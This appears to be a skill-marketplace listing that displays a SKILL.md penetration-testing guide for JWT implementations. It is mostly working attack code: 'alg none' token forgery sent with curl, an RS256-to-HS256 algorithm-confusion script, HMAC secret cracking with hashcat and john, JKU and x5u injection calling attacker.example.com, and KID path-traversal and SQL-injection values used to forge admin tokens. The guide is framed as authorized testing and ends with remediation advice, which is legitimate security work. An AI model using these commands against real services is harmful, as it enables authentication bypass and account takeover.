Skip to main content

testing-jwt-token-security

Assessing JSON Web Token implementations for cryptographic weaknesses, algorithm confusion attacks, and authorization bypass vulnerabilities during security engagements.

معلومات المصدر

المستودع
mukul975/Anthropic-Cybersecurity-Skills
آخر نشاط في المصدر
١ يونيو ٢٠٢٦ في ١٠:١٣
لغة SKILL.md المكتشفة
الإنجليزية
النجوم
٣٣٬٥٥٢
التفرعات
٤٬٠٦٨

خيارات التثبيت

يُحدَّد Prompt الذي يراجع المصدر أولًا بشكل افتراضي. يمكنك التبديل إلى أمر مباشر أو تنزيل نسخة محلية.

مراجعة ملفات المصدر

اقرأ SKILL.md وأي ملفات مرافقة يعرضها SkillsMP قبل أن تقرر التثبيت.

مستكشف الملفات
4 ملفات

عرض SKILL.md

SKILL.md
تعليمات المصدر · معاينة للقراءة فقط
name
testing-jwt-token-security
description
Assessing JSON Web Token implementations for cryptographic weaknesses, algorithm confusion attacks, and authorization bypass vulnerabilities during security engagements.
domain
cybersecurity
subdomain
web-application-security
tags
["penetration-testing","jwt","authentication","web-security","token-security","burpsuite"]
version
1.0
author
mahipal
license
Apache-2.0
nist_csf
["PR.PS-01","ID.RA-01","PR.DS-10","DE.CM-01"]
mitre_attack
["T1190","T1059.007","T1505.003","T1083","T1027"]
# Testing JWT Token Security ## When to Use - During authorized penetration tests when the application uses JWT for authentication or authorization - When assessing API security where JWTs are passed as Bearer tokens or in cookies - For evaluating SSO implementations that use JWT/JWS/JWE tokens - When testing OAuth 2.0 or OpenID Connect flows that issue JWTs - During security audits of microservice architectures using JWT for inter-service authentication ## Prerequisites - **Authorization**: Written penetration testing agreement for the target - **jwt_tool**: JWT attack toolkit (`pip install jwt_tool` or `git clone https://github.com/ticarpi/jwt_tool.git`) - **Burp Suite Professional**: With JSON Web Token extension from BApp Store - **Python PyJWT**: For scripting custom JWT attacks (`pip install pyjwt`) - **Hashcat**: For brute-forcing HMAC secrets (`apt install hashcat`) - **jq**: For JSON processing - **Target JWT**: A valid JWT token from the application ## Workflow ### Step 1: Decode and Analyze the JWT Structure Extract and examine the header, payload, and signature components. ```bash # Decode JWT parts (base64url decode) JWT="eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c" # Decode header echo "$JWT" | cut -d. -f1 | base64 -d 2>/dev/null | jq . # Output: {"alg":"HS256","typ":"JWT"} # Decode payload echo "$JWT" | cut -d. -f2 | base64 -d 2>/dev/null | jq . # Output: {"sub":"1234567890","name":"John Doe","iat":1516239022} # Using jwt_tool for comprehensive analysis python3 jwt_tool.py "$JWT" # Check for sensitive data in the payload: # - PII (email, phone, address) # - Internal IDs or database references # - Role/permission claims # - Expiration times (exp, nbf, iat) # - Issuer (iss) and audience (aud) ``` ### Step 2: Test Algorithm None Attack Attempt to forge tokens by setting the algorithm to "none". ```bash # jwt_tool algorithm none attack python3 jwt_tool.py "$JWT" -X a # Manual none algorithm attack # Create header: {"alg":"none","typ":"JWT"} HEADER=$(echo -n '{"alg":"none","typ":"JWT"}' | base64 | tr -d '=' | tr '+/' '-_') # Create modified payload (change role to admin) PAYLOAD=$(echo -n '{"sub":"1234567890","name":"John Doe","role":"admin","iat":1516239022}' | base64 | tr -d '=' | tr '+/' '-_') # Construct token with empty signature FORGED_JWT="${HEADER}.${PAYLOAD}." echo "Forged JWT: $FORGED_JWT" # Test the forged token curl -s -H "Authorization: Bearer $FORGED_JWT" \ "https://target.example.com/api/admin/users" | jq . # Try variations: "None", "NONE", "nOnE" for alg in none None NONE nOnE; do HEADER=$(echo -n "{\"alg\":\"$alg\",\"typ\":\"JWT\"}" | base64 | tr -d '=' | tr '+/' '-_') FORGED="${HEADER}.${PAYLOAD}." echo -n "alg=$alg: " curl -s -o /dev/null -w "%{http_code}" \ -H "Authorization: Bearer $FORGED" \ "https://target.example.com/api/admin/users" echo done ``` ### Step 3: Test Algorithm Confusion (RS256 to HS256) If the server uses RS256, try switching to HS256 and signing with the public key. ```bash # Step 1: Obtain the server's public key # Check common locations curl -s "https://target.example.com/.well-known/jwks.json" | jq . curl -s "https://target.example.com/.well-known/openid-configuration" | jq .jwks_uri curl -s "https://target.example.com/oauth/certs" | jq . # Step 2: Extract public key from JWKS # Save the JWKS and convert to PEM format # Use jwt_tool or openssl # Step 3: jwt_tool key confusion attack python3 jwt_tool.py "$JWT" -X k -pk public_key.pem # Manual algorithm confusion attack with Python python3 << 'PYEOF' import jwt import json # Read the server's RSA public key with open('public_key.pem', 'r') as f: public_key = f.read() # Create forged payload payload = { "sub": "1234567890", "name": "Admin User", "role": "admin", "iat": 1516239022, "exp": 9999999999 } # Sign with HS256 using the RSA public key as the HMAC secret forged_token = jwt.encode(payload, public_key, algorithm='HS256') print(f"Forged token: {forged_token}") PYEOF # Test the forged token curl -s -H "Authorization: Bearer $FORGED_TOKEN" \ "https://target.example.com/api/admin/users" ``` ### Step 4: Brute-Force HMAC Secret If HS256 is used, attempt to crack the signing secret. ```bash # Using jwt_tool with common secrets python3 jwt_tool.py "$JWT" -C -d /usr/share/wordlists/rockyou.txt # Using hashcat for GPU-accelerated cracking # Mode 16500 = JWT (HS256) hashcat -a 0 -m 16500 "$JWT" /usr/share/wordlists/rockyou.txt # Using john the ripper echo "$JWT" > jwt_hash.txt john jwt_hash.txt --wordlist=/usr/share/wordlists/rockyou.txt --format=HMAC-SHA256 # If secret is found, forge arbitrary tokens python3 << 'PYEOF' import jwt secret = "cracked_secret_here" payload = { "sub": "1", "name": "Admin", "role": "admin", "exp": 9999999999 } token = jwt.encode(payload, secret, algorithm='HS256') print(f"Forged token: {token}") PYEOF ``` ### Step 5: Test JWT Claim Manipulation and Injection Modify JWT claims to escalate privileges or bypass authorization. ```bash # Using jwt_tool for claim tampering # Change role claim python3 jwt_tool.py "$JWT" -T -S hs256 -p "known_secret" \ -pc role -pv admin # Test common claim attacks: # 1. JKU (JWK Set URL) injection python3 jwt_tool.py "$JWT" -X s -ju "https://attacker.example.com/jwks.json" # Host attacker-controlled JWKS at the URL # 2. KID (Key ID) injection # SQL injection in kid parameter python3 jwt_tool.py "$JWT" -I -hc kid -hv "../../dev/null" -S hs256 -p "" # If kid is used in file path lookup, point to /dev/null (empty key) # SQL injection via kid python3 jwt_tool.py "$JWT" -I -hc kid -hv "' UNION SELECT 'secret' --" -S hs256 -p "secret" # 3. x5u (X.509 URL) injection python3 jwt_tool.py "$JWT" -X s -x5u "https://attacker.example.com/cert.pem" # 4. Modify subject and role claims python3 jwt_tool.py "$JWT" -T -S hs256 -p "secret" \ -pc sub -pv "admin@target.com" \ -pc role -pv "superadmin" ``` ### Step 6: Test Token Lifetime and Revocation Assess token expiration enforcement and revocation capabilities. ```bash # Test expired token acceptance python3 << 'PYEOF' import jwt import time secret = "known_secret" # Create token that expired 1 hour ago payload = { "sub": "user123", "role": "user", "exp": int(time.time()) - 3600, "iat": int(time.time()) - 7200 } expired_token = jwt.encode(payload, secret, algorithm='HS256') print(f"Expired token: {expired_token}") PYEOF curl -s -H "Authorization: Bearer $EXPIRED_TOKEN" \ "https://target.example.com/api/profile" -w "%{http_code}" # Test token with far-future expiration python3 << 'PYEOF' import jwt secret = "known_secret" payload = { "sub": "user123", "role": "user", "exp": 32503680000 # Year 3000 } long_lived = jwt.encode(payload, secret, algorithm='HS256') print(f"Long-lived token: {long_lived}") PYEOF # Test token reuse after logout # 1. Capture JWT before logout # 2. Log out (call /auth/logout) # 3. Try using the captured JWT again curl -s -H "Authorization: Bearer $PRE_LOGOUT_TOKEN" \ "https://target.example.com/api/profile" -w "%{http_code}" # If 200, tokens are not revoked on logout # Test token reuse after password change # Similar test: capture JWT, change password, reuse old JWT ``` ## Key Concepts | Concept | Description | |---------|-------------| | **Algorithm None Attack** | Removing signature verification by setting `alg` to `none` | | **Algorithm Confusion** | Switching from RS256 to HS256 and signing with the public key as HMAC secret | | **HMAC Brute Force** | Cracking weak HS256 signing secrets using wordlists or brute force | | **JKU/x5u Injection** | Pointing JWT header URLs to attacker-controlled key servers | | **KID Injection** | Exploiting SQL injection or path traversal in the Key ID header parameter | | **Claim Tampering** | Modifying payload claims (role, sub, permissions) after compromising the signing key | | **Token Revocation** | The ability (or inability) to invalidate tokens before their expiration | | **JWE vs JWS** | JSON Web Encryption (confidentiality) vs JSON Web Signature (integrity) | ## Tools & Systems | Tool | Purpose | |------|---------| | **jwt_tool** | Comprehensive JWT testing toolkit with automated attack modules | | **Burp JWT Editor** | Burp Suite extension for real-time JWT manipulation | | **Hashcat** | GPU-accelerated HMAC secret brute-forcing (mode 16500) | | **John the Ripper** | CPU-based JWT secret cracking | | **PyJWT** | Python library for programmatic JWT creation and manipulation | | **jwt.io** | Online JWT decoder for quick analysis (do not paste production tokens) | ## Common Scenarios ### Scenario 1: Algorithm None Bypass The JWT library accepts `"alg":"none"` tokens, allowing any user to forge admin tokens by simply removing the signature and changing the algorithm header. ### Scenario 2: Weak HMAC Secret The application uses HS256 with a dictionary word as the signing secret. Hashcat cracks the secret in minutes, enabling complete token forgery and admin impersonation. ### Scenario 3: Algorithm Confusion on SSO An SSO provider uses RS256 but the consumer application also accepts HS256. The attacker signs a forged token with the publicly available RSA public key using HS256. ### Scenario 4: KID SQL Injection The `kid` header parameter is used in a SQL query to look up signing keys. Injecting `' UNION SELECT 'attacker_secret' --` allows the attacker to control the signing key. ## Output Format ``` ## JWT Security Finding **Vulnerability**: JWT Algorithm Confusion (RS256 to HS256) **Severity**: Critical (CVSS 9.8) **Location**: Authorization header across all API endpoints **OWASP Category**: A02:2021 - Cryptographic Failures ### JWT Configuration | Property | Value | |----------|-------| | Algorithm | RS256 (also accepts HS256) | | Issuer | auth.target.example.com | | Expiration | 24 hours | | Public Key | Available at /.well-known/jwks.json | | Revocation | Not implemented | ### Attacks Confirmed | Attack | Result | |--------|--------| | Algorithm None | Blocked | | Algorithm Confusion (RS256→HS256) | VULNERABLE | | HMAC Brute Force | N/A (RSA) | | KID Injection | Not present | | Expired Token Reuse | Accepted (no revocation) | ### Impact - Complete authentication bypass via forged admin tokens - Any user can escalate to any role by forging JWT claims - Tokens remain valid after logout (no server-side revocation) ### Recommendation 1. Enforce algorithm allowlisting on the server side (reject unexpected algorithms) 2. Use asymmetric algorithms (RS256/ES256) with proper key management 3. Implement token revocation via a blocklist or short expiration with refresh tokens 4. Validate all JWT claims server-side (iss, aud, exp, nbf) 5. Use a minimum key length of 256 bits for HMAC secrets ```
عرض على GitHub